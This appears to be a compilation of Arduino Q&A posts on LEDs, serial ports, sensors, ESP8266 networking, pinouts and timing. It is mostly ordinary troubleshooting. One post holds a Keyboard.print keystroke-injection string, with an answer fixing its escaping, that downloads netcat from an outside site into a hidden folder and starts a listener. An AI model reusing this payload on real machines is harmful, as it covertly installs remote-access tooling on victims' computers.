int brightnesspin = 2;
int pin_switch = 3;

// variables to hold the new and old switch states
boolean oldSwitchState = LOW;
boolean newSwitchState1 = LOW;
boolean newSwitchState2 = LOW;
boolean newSwitchState3 = LOW;
byte state = 0;

void setup()
{
  Serial.begin(9600);
  FastLED.addLeds<WS2811, strip_pin, BRG>(leds, NUM_LEDS);
}

void loop()
{
  delay(500);
//  Colour control
//##############################################
    newSwitchState1 = digitalRead(pin_switch);
    delay(1);
    newSwitchState2 = digitalRead(pin_switch);
    delay(1);
    newSwitchState3 = digitalRead(pin_switch);
    // if all 3 values are the same we can continue
    if (  (newSwitchState1==newSwitchState2) && (newSwitchState1==newSwitchState3) )
    {

        if ( newSwitchState1 != oldSwitchState )
        {

           // has the button switch been closed?
           if ( newSwitchState1 == HIGH )
           {
                // increase the value of state
                state++;
                if (state > 3) { state = 0; }
                for (int i = 0; i < NUM_LEDS; i++)
                {
                if (state==1) { leds[i].red = 100;Serial.println("Red"); }
                if (state==2) { leds[i].blue = 100;Serial.println("Blue"); }
                if (state==3) { leds[i].red = 100; leds[i].blue = 100; leds[i].green = 100;Serial.println("White");}
                }
                FastLED.show();
            }
           oldSwitchState = newSwitchState1;
        }

//    Brightness control
//##############################################
  brightness = analogRead(brightnesspin);  brightness = map(brightness, 0, 1024, 0, 255);
    for (int i = 0; i<NUM_LEDS; i++)
      {
        FastLED.setBrightness(brightness);
      }
  FastLED.show();
  Serial.print("Brightness: ");
  Serial.println(brightness);
    }
}

The brightness control works fine, and the switch cycles through the colours once, but the strip stays white once it's there, even though the serial monitor shows the switch changing state. How can I get the strip to cycle back round to red?

The problem lies in your for cycle.

If (state == 1) you are switching the red colour ON.
If (state == 2) you are switching the blue colour is ON. So at this moment, you have red AND blue colour on, not only blue. I assume the output colour is purple-ish.
If (state == 3), you activate red (which is already ON), blue (which is also already ON) and also green (which changes state from OFF to ON) so you get white colour. At this moment you went through all three possible conditions.
Then you go back to (state == 1). All colours are already activated, so from this moment you get only white...

Solution:

for (int i = 0; i < NUM_LEDS; i++) {
  if (state == 1) {
    leds[i].red = 100;
    leds[i].blue = 0;
    leds[i].green = 0;
    Serial.println("Red");
  }
  if (state == 2) {
    leds[i].red = 0;
    leds[i].blue = 100;
    leds[i].green = 0;
    Serial.println("Blue");
  }
  if (state == 3) {
    leds[i].red = 100;
    leds[i].blue = 100;
    leds[i].green = 100;
    Serial.println("White");
  }
}


Arduino Uno R3 not working after shorting 5V to GND While wiring up my new Arduino Uno R3 on a proto-board, I accidentally shorted the 5V pin directly to Ground. The LED's immediately turned off and connection was lost. It was powered by USB connection. After 3-5 seconds I removed the short. The LED's have remained out, and I haven't been able to reestablish connection with my computer since. I've unplugged and re-plugged the USB cable and tried the re-set button plenty of times. This short shouldn't have fried the board...  what happened? How can I get my Arduino working again??

Have you tried restarting the computer? The computer will shut down the USB port to protect it from a malfunction like this (over-current).

You can also try the ports on the other side of the computer (or front/back) as they're usually on different controllers.


Several Software Serial Ports I am planning to use an Arduino (Nano ideally, or Other) to send and receive information from several software serial ports to other arduinos, over their available pins, ideally 8 ports.

I could understand an Asynchrounous Communication having one master and 8 slaves, with the master enabling communication from one port, receiving the data from that port, and then move onto the next port, into a sampling loop.

The SoftwareSerial library allows to set up the pins individually, and set the listen() port (thanks Juraj).

I read the AltSoftSerial library handle some of the limitations of the SoftwareSerial library, but I just realized the pins cannot be configured (without... cloning the full library?).

Question is:

Option 1: Should I stick with the SoftwareSerial library?,
Option 2: Should I try the AltSoftSerial library, and figure how to duplicate it (i think this is a NO)?
Option 3: Understand that none of these libraries are prepared for this, and seek for other alternative?
Option 4: It is pointless to have several serial trunks in Arduino, if only one will work at a time, and should hence try to arrange just one serial trunk?

I tried to use MIDI (which is quite slow: 31,250 bps), and that didn't work reliable with the software serial on the Arduino Uno. Since I wanted multiple ports, I switched to the Arduino Mega which has FOUR harware serial ports. I would suggest this above using so many software serial ports; it also will relieve your processor to use hardware serials.


How to connect gyro to Arduino Uno via I2C parts

Three-axis rate gyro on breakout board: gyro datasheet, breakout board "datasheet"
Arduino Uno: pinout

goal: I want to periodically read a single axes' angular rate. As rvbarreto pointed out, Adafruit built an Arduino library for this sensor, so I'm playing around with its example file.

configuration:

I have a 5600 Ohm pull-up connected to the SDA and SCL pins each on the Arduino. The internal pull-ups of the Arduino are too weak according to this thread.

code: (Adafruit library's sensorapi example)

#include <Wire.h>
#include <Adafruit_Sensor.h>
#include <Adafruit_FXAS21002C.h>

/* Assign a unique ID to this sensor at the same time */
Adafruit_FXAS21002C gyro = Adafruit_FXAS21002C(0x0021002C);
//Adafruit_FXAS21002C gyro = Adafruit_FXAS21002C(0x21);

void displaySensorDetails(void)
{
  sensor_t sensor;
  gyro.getSensor(&sensor);
  Serial.println("------------------------------------");
  Serial.print  ("Sensor:       "); Serial.println(sensor.name);
  Serial.print  ("Driver Ver:   "); Serial.println(sensor.version);
  Serial.print  ("Unique ID:    0x"); Serial.println(sensor.sensor_id, HEX);
  Serial.print  ("Max Value:    "); Serial.print(sensor.max_value); Serial.println(" rad/s");
  Serial.print  ("Min Value:    "); Serial.print(sensor.min_value); Serial.println(" rad/s");
  Serial.print  ("Resolution:   "); Serial.print(sensor.resolution); Serial.println(" rad/s");
  Serial.println("------------------------------------");
  Serial.println("");
  delay(500);
}

void setup(void)
{
  Serial.begin(9600);

  /* Wait for the Serial Monitor */
  while (!Serial) {
    delay(1);
  }

  Serial.println("Gyroscope Test"); Serial.println("");

  /* Initialise the sensor */
  if(!gyro.begin())
  {
    /* There was a problem detecting the FXAS21002C ... check your connections */
    Serial.println("Ooops, no FXAS21002C detected ... Check your wiring!");
    while(1);
  }

  /* Display some basic information on this sensor */
  displaySensorDetails();
}

void loop(void)
{
  /* Get a new sensor event */
  sensors_event_t event;
  gyro.getEvent(&event);

  /* Display the results (speed is measured in rad/s) */
  Serial.print("X: "); Serial.print(event.gyro.x); Serial.print("  ");
  Serial.print("Y: "); Serial.print(event.gyro.y); Serial.print("  ");
  Serial.print("Z: "); Serial.print(event.gyro.z); Serial.print("  ");
  Serial.println("rad/s ");
  delay(500);
}

NOTE: I noticed that Adafruit's Github had removed a line of code (line 67) in their library's main .cpp file. I edited my library code to reflect that change.

problem: I keep getting the "Ooops, no FXAS21002C detected ... Check your wiring!" error message.

questions:

Am I connecting my pull-up resistors correctly?
Should I not power VDD and VDD_IO on the same rail? Can they even be powered by the Uno?

I needed to connect the gyro's reset input to V_DD_IO. See gyro datasheet, table 1, pin 4. This corresponds to pin 7/RST_21002 on the breakout board. The gyro works like a charm now!


Char* and string conversion from an ESP8266 web server I have the following Arduino code for configuring a wifi connection through a simple webpage:

I declare char* ssid;. Later I read a value from a SPIFFS config file where q_ssid is declared as a string and successfully populated from the file:

strncpy(ssid, q_ssid.c_str(), 10);

In the line above, I am limiting it to exactly 10 as that is the length of my wifi AP name that this connects to. If I change the initial char* to char ssid[10];, all works well, but SSIDs can have varying names, and if I do not use 10 chars, then the trailing spaces prevent connection in the statement WiFi.begin(ssid, password);.

On the web client handler that reads in values from the user, I use this:

String q_ssid = server.arg("ssid");
strncpy(ssid, q_ssid.c_str(), 10 );

How can I dynamically assign the size of char* ssid; so that it can be used with the correct number of characters for the AP name that the user has stored from the webpage?

Any help is greatly appreciated.

Thanks.

What you need to do is creating a fixed string, this can be done in two ways:

static:

char ssid[100];

Where 100 is the maximum length ever possible. Note that this will always use up 100 bytes, even if less are used (e.g. your string length is 5.
dynamic:

char* p_ssid = malloc(100);

This way a pointer is created to a dynamically created string that can hold 100 characters. Disadvantage is that using malloc in a microcontroller can cause empty memory 'holes' when freeing/mallocing a lot.

With either way you can than use a normal strncpy or strcpy (in first case use &ssid to get a pointer to the ssid).
Also don't forget to add 1 to the length because of the trailing \0 to denote the string is ended.
Thus for storing 10 characters, you need an 11 char sized array.


How to re-construct audio from series of analog integer input? I'm trying to learn how to stream audio from the A0 pin of an ESP8266 NodeMCU board via UDP socket connection over to another windows computer that uses pyaudio to play it.   At the moment, all I get on the windows computer are a series of "popping" sounds each spaced about half a second apart.

I'm new to working with these types of break out boards, so I found an online project that I'm using as a starting point:

Streaming audio from ESP8266 to pyaudio working in Arduino IDE

I figure I start troubleshooting my popping sound issue by inspecting the UDP packets my ESP8266 code.  Below is the source code I'm working from:

#include <ESP8266WiFi.h>
#include <WiFiUdp.h>

const char* ssid = "change this";
const char* password = "change this";
int contconexion = 0;

WiFiUDP Udp;

void setup()
{
  Serial.begin(115200);
  Serial.println();

  pinMode(5, OUTPUT);  //D1 Led de estado
  digitalWrite(15, LOW);

  WiFi.mode(WIFI_STA); //para que no inicie el SoftAP en el modo normal
  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED and contconexion <50) { //Cuenta hasta 50 si no se puede conectar lo cancela
    ++contconexion;
    delay(250);
    Serial.print(".");
    digitalWrite(5, HIGH);
    delay(250);
    digitalWrite(5, LOW);
  }
  if (contconexion <50) {
      //para usar con ip fija
      IPAddress Ip(192,168,1,180);
      IPAddress Gateway(192,168,0,1);
      IPAddress Subnet(255,255,255,0);
      WiFi.config(Ip, Gateway, Subnet);

      Serial.println("");
      Serial.println("WiFi conectado");
      Serial.println(WiFi.localIP());
      //digitalWrite(5, HIGH);
  }
  else {
      Serial.println("");
      Serial.println("Error de conexion");
      //digitalWrite(15, LOW);
  }
}

void loop()
{
  Udp.beginPacket("192.168.0.26", 1234);

  for(int i=0; i<1024;i++){
    int old=micros();

    float analog = analogRead(A0);
    if (analog > 255) {
      analog = 255;
    }
    else if (analog < 0){
      analog = 0;
    }
    Udp.write(int(analog));
    Serial.print(int(analog));
    Serial.print(",");
    while(micros()-old<87); // 90uSec = 1Sec/11111Hz - 3uSec para los otros procesos
  }
  Serial.print(";;;;;");
  Udp.endPacket();
  delay(5);
}

Notice near the bottom of the file, I print out each analog value separated by a comma, and each data packet separated by five semicolons.

Can someone suggest a way for me to re-construct these series of integers into a sound file that I can inspect via listening with my own ears?  Then I can tell if the sound data being sent is complete?  Or let me know if there's a better way to test if all the data packets are being sent correctly.

UPDATE

I tried to create a wav file by doing this:

Take the list of all integers from Serial.print(int(analog)) and paste it into a file. I make sure all integers are space delimited (ie. no more commas or semicolons)
I copied the file over to a linux machine that had ffmpeg installed
I ran the command ffmpeg -f u8 -ar 11111 -ac 1 -i myfileofintegers -y test.wav

When I listen to the test.wav file, I just hear a series of rapid popping noises.  Not sure if I created the wav file properly?

I'm trying to learn how to stream audio from the A0 pin of an ESP8266 NodeMCU board via UDP socket connection over to another windows computer that uses pyaudio to play it.

You have described several problems; one needs to break big problems into small problems:

Sample the audio
Send it to another computer
Decode and playback the sound

  At the moment, all I get on the windows computer are a series of "popping" sounds each spaced about half a second apart.

This sounds like you have got your timebases messed up; it is likely that you aren't recording enough data or playing it back incorrectly. N.b. it looks like you are recording ~92ms of audio data each 'packet' and if you get a series of pops at 2hz you are likely playing less than 1/10 of a second of audio for ever 5/10 of time, so your speaker moves for 1/10th of a second then stays still for 4/10ths and repeats; this produces your 2hz popping noises.

Your code has some other problems as well:

Serial.print() is Slow! Don't use it where performance matters!
Intertwining sampling and sending
Incorrectly scaling the analog reading
11.1khz can only record signals up to 5.5khz

Lets start with the audio sampling. We have some sort of audio circuitry presenting a signal to an analog input, we need to sample it regularly and uniformly! The code presented is trying to sample at 11.1 kHz, but only does so for 1024 samples before hitting a discontinuity. We do not have circuitry dedicated to this so we will have to use the ADC circuitry on the Arduino.

First thing you will want to get you sampling regular and continuous. You will want to use an interrupt on the Arduino for this. The interrupt should take a single sample from the ADC and add it to a buffer or signal the main loop to read/buffer it.

This interrupt will need to fire regularly at the sample rate or the data will be ruined.

Second the audio circuitry should prepare the signal so that it is between 0-5v with a ~2.5v bias, this will use the ADC hardware to its fullest.

so in Pseudo code:

// include any libs etc.
// set up variables ect.
void interupt_sample();
// register and attach interrupt
void setup() {
//do your setup etc.
}
void loop() {
// if(new_sample) add_to_buffer(new_sample);
// if(buffer_full) send_and_flush_buffer();
}


Difference between DS1307 and IN1307N, I am using RTClib for making rtc module using IN1307N getting RTC is not running #include <Wire.h>
#include "RTClib.h"

#if defined(ARDUINO_ARCH_SAMD)
// for Zero, output on USB Serial console, remove line below if using programming port to program the Zero!
#define Serial SerialUSB
#endif

RTC_DS1307 rtc;

char daysOfTheWeek[7][12] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"};

void setup () {

#ifndef ESP8266
while (!Serial); // for Leonardo/Micro/Zero
#endif

Serial.begin(9600);
if (! rtc.begin()) {
Serial.println("Couldn't find RTC");
while (1);
}

if (! rtc.isrunning()) {
Serial.println("RTC is NOT running!");
// following line sets the RTC to the date & time this sketch was compiled
rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
// This line sets the RTC with an explicit date & time, for example to set
// January 21, 2014 at 3am you would call:
// rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));
}
}

void loop () {
DateTime now = rtc.now();

Serial.print(now.year(), DEC);
Serial.print('/');
Serial.print(now.month(), DEC);
Serial.print('/');
Serial.print(now.day(), DEC);
Serial.print(" (");
Serial.print(daysOfTheWeek[now.dayOfTheWeek()]);
Serial.print(") ");
Serial.print(now.hour(), DEC);
Serial.print(':');
Serial.print(now.minute(), DEC);
Serial.print(':');
Serial.print(now.second(), DEC);
Serial.println();

Serial.print(" since midnight 1/1/1970 = ");
Serial.print(now.unixtime());
Serial.print("s = ");
Serial.print(now.unixtime() / 86400L);
Serial.println("d");

// calculate a date which is 7 days and 30 seconds into the future
DateTime future (now + TimeSpan(7,12,30,6));

Serial.print(" now + 7d + 30s: ");
Serial.print(future.year(), DEC);
Serial.print('/');
Serial.print(future.month(), DEC);
Serial.print('/');
Serial.print(future.day(), DEC);
Serial.print(' ');
Serial.print(future.hour(), DEC);
Serial.print(':');
Serial.print(future.minute(), DEC);
Serial.print(':');
Serial.print(future.second(), DEC);
Serial.println();

Serial.println();
delay(3000);
}

If i use 57600 i'll get random symbols in one line 1 line.
I have connected PIN5 IN1307N to A4, PIN4 IN1307N to A5

Following this circuitry solved my issue but still i've not understand the difference between DS1307 and IN1307N.


Arduino Uno R3 to Wemos D1 R2 project migration - Pinout problems So i've chosen to purchase a Wemos D1 R2 board in order that my old Arduino Uno R3 projects can get some new IoT features. However, even if my code is working in Uno perfectly, i want to test it using D1 before adding features. My problem is that, even if i have found tables showing differences between the 2 boards' pinouts, i cannot understand the correspondence between the pinouts.

So i am giving you the table below. Let's say i want to define echo and trigger pins for a sensor in my code. For example:

#define TRIGGER_PIN 4
#define ECHO_PIN 3

That would be pins D3 and D4 at my Uno. But i cannot understand which those pins would be in Wemos D1 R2. Also, my two boards can be seen below for comparison

The tricky thing with the WeMos boards is the pin notation is different from other Arduino boards.

Sometimes you will see the digital pins on Arduino boards referenced with the Dn notation. For example: "Connect the HC-SR04's Trig pin to D4 on the Uno". In fact some boards such as the Nano even use the Dn pin notation on their silkscreen. This is just a way of further differentiating the pins from the An pins. You will only refer to that pin by the number 4 in your code.

The WeMos boards are different. You actually need to use D3 and D4 in your code to control the pins marked D3 and D4 on the silkscreen:

#define TRIGGER_PIN D4
#define ECHO_PIN D3

We can take a peek at the source code of the ESP8266 core for Arduino to see why:
https://github.com/esp8266/Arduino/blob/2.4.0/variants/d1_mini/pins_arduino.h#L40-L50

static const uint8_t D0   = 16;
static const uint8_t D1   = 5;
static const uint8_t D2   = 4;
static const uint8_t D3   = 0;
static const uint8_t D4   = 2;
static const uint8_t D5   = 14;
static const uint8_t D6   = 12;
static const uint8_t D7   = 13;
static const uint8_t D8   = 15;
static const uint8_t RX   = 3;
static const uint8_t TX = 1;

Now you can see that if you use your original code:

#define TRIGGER_PIN 4
#define ECHO_PIN 3

That would actually be referring to the pins marked D2 and RX on the WeMos D1 R2!


MPU6050: Setting Gyro Output Range Throws of Positional Reading I am using the MPU6050 in conjunction with an Arduino and Jeff Rowberg's i2cdev library, and my project requires that the gyro rate outputs be more precise than the default setting, which is 1/16.4 of a degree (+/-2000 deg/sec range). The gyro outputs can be changed with mpu.setFullScaleGyroRange(uint8_t range) for which I passed in MPU6050_GYO_FS_500 for range to get a higher precision

In this project, I also need the YPR position, which I obtain through mpu.dmpGetQuaternion(&q, fifoBuffer) and mpu.dmpGetGravity(&gravity, &q) and mpu.dmpGetYawPitchRoll(ypr, &q, &gravity).

The problem is with the new gyro output range, the YPR position changes drastically when the MPU is being rotated and slowly catches up again once the MPU is held still. I think there is an error in the filter that combines the gyro and accel data that is making the gyro to sensitive. Maybe the DMP is dividing the GYRO rate data by the default sensitivity factor (16.4) when it should be dividing by the new one (131)?

How can I get accurate YPR readings without delay?

Here is a screenshot of the data. The axis aren't labeled, but the x-axis represents about 16 seconds of time. The blue line is the gyro rate data, and the pink line is the roll position of the MPU. The graph shows two rotations of the MPU.

Had the same problem, it appears that MPU6050 DMP code works like that once you change accelerometer and gyro scales.

Works better once you use +-2000 deg/sec and +-2g scaling settings.

    mpu.setFullScaleGyroRange(MPU6050_GYRO_FS_2000);
    mpu.setFullScaleAccelRange(MPU6050_ACCEL_FS_2);

The issue lies in the way "DMP" inner logic fuses data, i suppose it has "constants" that are tuned for these settings only.

In case you need both "changed settings" and "yaw\pitch\roll" data, you might want to implement sensor data fusion by yourself or use existing libs.

The easiest i may suggest would be implementing Complementary Filter.
More complex, yet accurate would be using Kalman Filter, all depends on time and patience you have to research those topics :)


Data is not being written into SD card I want to save the file as date and time  and I want to open the file mySensorData = SD.open(filename, FILE_WRITE); in the set up. It shows "insert SD card" when I try to open the file in setup.

The data is not being written into the SD card. It is creating the file but not writing into file.

You start logging set to LOW and then test if it is high, since it isn't you go to the else clause, you call exit(0) and kill your processor, hence your code never gets executed!

volatile boolean logging = LOW;

...

void loop()
{
   if(logging == HIGH) // starts low
   {
    ... // never executed
   }
   else
   {
    ... //
    exit(0); // now your Arduino is dead!
   }
}

The ellipses (...) are where i snipped your code out.

exit(0) turns off interrupts and loops forever with while(1); which has the effect of a full, power-consuming halt; exit(0) should have a sleep call in it, because what exit(...) does isn't very useful for an Arduino!


Printing multiple double qoutes in print statement I'm trying to print multiple quotes in a Keyboard.print() function but when i try to escape the character with \ at  $output =\"$HOME\Misc\nc.zip\"" and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?

Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):

It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.

If the command you want to send to keyboard is:

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:

"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"


Arduino Nano no output on any controllable pins except for RX and TX pins I have 2 Arduino Nanos which don't output anything on any controllable pins except for RX and TX pins. I used an LED which I have tested works on the 3.3v/GND and 5.0v/GND. When I try to control the RX and TX pins (1 and 2) the LED lights up on the board and the external LED I am using to test. I am using the example "Blink" program to test it, and I've tried it on both nanos. I've tested pins 26 (serial), 5 (digital) and 15 (digital) and none output anything. Why isn't it working?

    /*
  Blink
  Turns on an LED on for one second, then off for one second, repeatedly.

  This example code is in the public domain.
 */

// Pin 13 has an LED connected on most Arduino boards.
// Pin 11 has the LED on Teensy 2.0
// Pin 6  has the LED on Teensy++ 2.0
// Pin 13 has the LED on Teensy 3.0
// give it a name:
int led = 26;

// the setup routine runs once when you press reset:
void setup() {
  // initialize the digital pin as an output.
  pinMode(led, OUTPUT);
}

// the loop routine runs over and over again forever:
void loop() {
  digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);               // wait for a second
  digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
  delay(1000);               // wait for a second
}

I've tested pins 26 (serial), 5 (digital) and 15 (digital) and none output anything.
No, the LED doesn't need a resistor ...
because I tested it with the 5v and 3.3v therefore higher voltages doesn't blow it up

Sounds to me like you have damaged your output pins. Read The care and feeding of LEDs by Mike Cook.
The LED may briefly light up, but without a resistor you are damaging both the LED and the output pin. It is no surprise then, that afterwards the pins "none output anything".
Without a limiting resistor the output driver on the Arduino is overloaded and may burn out. Whether you have damaged the LED, the pin, or both, is hard to say.

(Edited to add)

still doesn't work on pins that I haven't used ...

Can you slow down a bit?

I've tested pins 26 (serial) ...

There is no pin 26 from the IDE point of view. On the board pin 26 is A7 (analog input 7) which cannot be used for digital input/output.
Please specify exactly what pin you tried (just choose one) and stick to the Arduino number (printed on the board, eg. D05) and then show the code you used to access that pin.

According to this ... the analogue pins can be used just the same as digital pins

That page shows a Uno. You have a Nano.
See Arduino Nano - Arduino.cc. On that page:

Analog pins 6 and 7 cannot be used as digital pins.


Run different code on different type of reset in arduino nano I would like to program the arduino such that if I reset it by disconnecting and then reconnecting the usb.. A particular led glows BUT If I press the manual reset button on my nano... I want a different led to glow. How can I achieve this.
I have 2 leds and my nano... Along with the laptop and any other necessary components.

The MCUSR register (page 79 of the datasheet) tells you what kind of reset happened most recently. As long as the USB interface chip on your nano isn't controlling the RESET pin without the port being opened (i.e., toggling it at power up regardless of the USB state) then you could query that register to see how it reset:

if (MCUSR & (1 << 0)) { // POR
    digitalWrite(4, HIGH);
} else if (MCUSR & (1 << 1)) { // External Reset
    digitalWrite(5, HIGH);
}

However, if the USB chip does toggle the RESET pin then there is no way you can distinguish between the two resets since they are bot the same "external" reset using the RESET pin.


Did I fry my DUE by powering it from a external source and USB at the same time? If so, why? I guess I just fried my second DUE in a week. The first I didn't really see what happened, but I couldn't upload any sketches, even if the computer could recognize it, and the SAM would get really hot.

Now, I had it powered by a 12V External supply, through a regulator bringing it down to 9V, and in the exact moment I plugged the USB, with power still on, I got a lot of smoke, smelling of fried electronics :p. Afterwards, I have the same symptoms as I had in the other boards: Green and orange LEDs on, chip very hot, computer recognizing it as a Arduino DUE but not being able to upload any sketches.

What just happened?

If it was the same sketch involved in the destruction of both it may be a good idea to check to make sure the sketch that is involved as well to make sure there are no logical shorts to ground or other pins. Rugged-Circuits has a list of some common ways the Arduino can get shorted. It is showing the Uno but I am sure all similar rules apply with the exception of total power requirements and other differences between the boards.


How to diagnose unresponsive Leonardo serial port? I was using an Arduino Leonardo (in the form of an RPI hat) to control a single DC motor via a motor controller. I have it wired to set Phase and Enable to control motor speed and direction, and I read sensors on the motor's encoder to directly measure motor speed.

I triple checked all my wiring, and a test program I wrote to spin the motor at half-speed seemed to work just fine. Then it suddenly stopped working. Now, when I plug the Leonardo into my machine, the ttyACM0 device does not appear, and I seem to have no way to communicate with it anymore.

I've noticed that when I press the reset button, the Leonardo's status light flashes for a few seconds and ttyACM0 does momentarily appear. But as soon as the flashing stops, ttyACM0 disappears again. I tried upload a new sketch when the device reappears, but I get a "broken pipe" error.

What's going on here? Did I somehow fry my Leonardo, or is it possible I just screwed up the serial port? How do I fix it?

Edit: For the host, I've tried Ubuntu 14 running on a Raspberry Pi 2 and a generic 64bit laptop.

Edit: My setup() is simply:

void count_pan_changes(){
    /*
    CW  => 11,00,11,00,...
    CCW => 10,01,10,01,...
    */
    int a = digitalRead(MOTOR_ENCODER_A_PIN);
    int b = digitalRead(MOTOR_ENCODER_B_PIN);
    int direction = (a == b) ? +1 : -1;
    motor_controller.record_direction(direction);
}

void setup(){
    attachInterrupt(digitalPinToInterrupt(MOTOR_ENCODER_A_PIN), count_pan_changes, CHANGE);
}

Edit: I'm not sure why, but when I disconnected the Leonardo from it's 5V UBEC power supply and powered it directly from my laptop via USB, then ttyACM0 suddenly came back. However, when I reconnect it to its own power supply, I again have problems connecting to it. The first upload and serial terminal seem to work, but as soon as I disconnect, further uploads/serial connections seem to fail with a "broken pipe" error. I'm powering it via a UBEC by connecting the 5V and Gnd lines to one of the Leonardo's GVS headers (i.e. it's not going in through any onboard regulator on the Arduino or RPi). Should this work? The motor is behind a separate UBEC.

Edit: Now power cycling isn't even fixing it. I tried erasing the contents using:

avrdude -patmega32u4 -cavr109 -P/dev/ttyACM0 -b57600 -e

as explained here. This keeps /dev/ttyACM0 from disappearing, but if I try and upload a sketch using ano upload, I still get the error:

IOError: [Errno 32] Broken pipe

Since your code does not open the serial port, it is entirely expected that the serial port will appear briefly on reset, and then disappear. Initially it appears as the bootloader looks for a new sketch, and disappears because your code does not open Serial.

If you time it correctly you should be able to upload a new sketch after pressing Reset. You need to press Reset fairly precisely after the IDE announces that is uploading. You only have a window of a second or so.


programming STM32 with arduino IDE issues I'm currently trying to program an STM32 with arduino, but along the way, i encountered some issues with pin modes. To be more specific, programming certain pins to certain modes. Some pins have consistent digital outputs like PC13, while others have wonky outputs like PA11 and PA12, despite being able to be used as digital outputs.

here is what i get from PA12

here is what i get from PA11

i've read the pinout diagrams, and im not too sure if both mentioned pins can be used digitally according to this pinout diagram :

can anyone help me explain what is going on, how do i program an STM32 with Arduino IDE exactly (stm32duino programming procedures, rule of thumb, etc), and can an stm32duino be used to do complex programs like an arduino like for example driving a motor with PWM in a balancing robot or do we have to use C or C++ using atollic TrueSTUDIO and all of those software?

others have wonky outputs like PA11 and PA12, despite being able to be used as digital outputs.

As the pinout diagram you included in the question yourself shows, PA11 and PA12 provide the USB interface.

You can't use those pins for both USB and other GPIO roles at the same time.

Your Arduino core and add-on bootloader are presumably using the USB port for programming and communication with the host PC.  Custom projects which did not use the pins for USB would be possible, but you'd likely be largely on your own and unable to use those particular Arduino components (or at least not without heavily modifying them).

There are other pins which have key purposes, too, for example those which support external clock crystals, those which provide the SWD debug interface, those which could provide serial UART output, etc - some designs can use these as generic I/O's but only by forgoing the unique functionality which many designs need them to provide.


Converting my delays to millis for smoother operation I need help converting my code to change out the delay() command into the millis() command for smoother operation.
Currently the code only moves after the delay is up. I would like the codes to run simultaneously.
This is my codes
#define aref_voltage 3.3
#include <Servo.h>
#include <SPI.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#define SCREEN_WIDTH 128 // OLED display width, in pixels
#define SCREEN_HEIGHT 32 // OLED display height, in pixels
// Declaration for an SSD1306 display connected to I2C (SDA, SCL pins)
#define OLED_RESET     4 // Reset pin # (or -1 if sharing Arduino reset pin)
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
Servo Servo1;
int led = 13;
int sw = 3;
int bz = 14;
int ldr = A1;
int lv = 0;
int rly = 7;
int buttonState = 0;
int servoPin = 8;
// the setup routine runs once when you press reset:
void setup()
{
  // initialize the digital pin as an output.
  pinMode(led, OUTPUT);
  pinMode(sw, INPUT);
  pinMode(ldr, INPUT);
  pinMode(bz, OUTPUT);
  pinMode(rly, OUTPUT);
  digitalWrite(rly, LOW);
   Servo1.attach(servoPin);
  analogReference(EXTERNAL);
  Serial.begin(115200);

   if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // Address 0x3D for 128x64
   Serial.println(F("SSD1306 allocation failed"));
   for(;;);
  }
}
void loop()
  {
  lv = analogRead(ldr); // read the value off the LDR
  Serial.print("LDR Value is: ");
  Serial.println(lv);
  delay(100);

  buttonState = digitalRead(sw); // Check switch 1 or 0
  Serial.println(buttonState);   //Show the state of pushbutton on serial monitor
  delay(100);

    while ( (lv >= 150) && (buttonState == HIGH) )
{
    delay(1000);
    display.clearDisplay();
    display.setTextSize(2);
    display.setTextColor(WHITE);
    display.setCursor(0,0);
    display.println("Relay On! ");      // here the message is inside the ""
    delay(1000);
    display.display();

    digitalWrite(rly, HIGH);//relay on 1 min
    delay(6000);
    tone(bz, 1500);//buzzer on for 30 sec
    delay(3000);
    digitalWrite(led, HIGH);//led flash at 1 Hz
    delay(3000);
    digitalWrite(led, LOW);
    delay(3000);

    digitalWrite(led, HIGH); // led 2 kHz
    delay(3000);
    digitalWrite(led, LOW);
    delay(3000);
    tone(bz, 2000); //buzzer at 2 khz
    delay(3000);
    noTone(bz);

    delay(2000);
    display.clearDisplay();
    display.setTextSize(2);
    display.setTextColor(WHITE);
    display.setCursor(0,0);
    display.println("Tank 2 Filled! ");      // here the message is inside the ""
    delay(1000);
    display.display();

    digitalWrite(rly, LOW); // relay low
    digitalWrite(led, HIGH);
    delay(5000);            // led flash 4Hz
    digitalWrite(led, LOW);
    delay(5000);

   Servo1.write(45); // Make servo go to 45 degrees
   delay(1000);

   Servo1.write(135); // Make servo go to 135 degrees
   delay(1000);

   Servo1.write(0); // Make servo go to 0 degrees
   delay(1000);
    break;
}
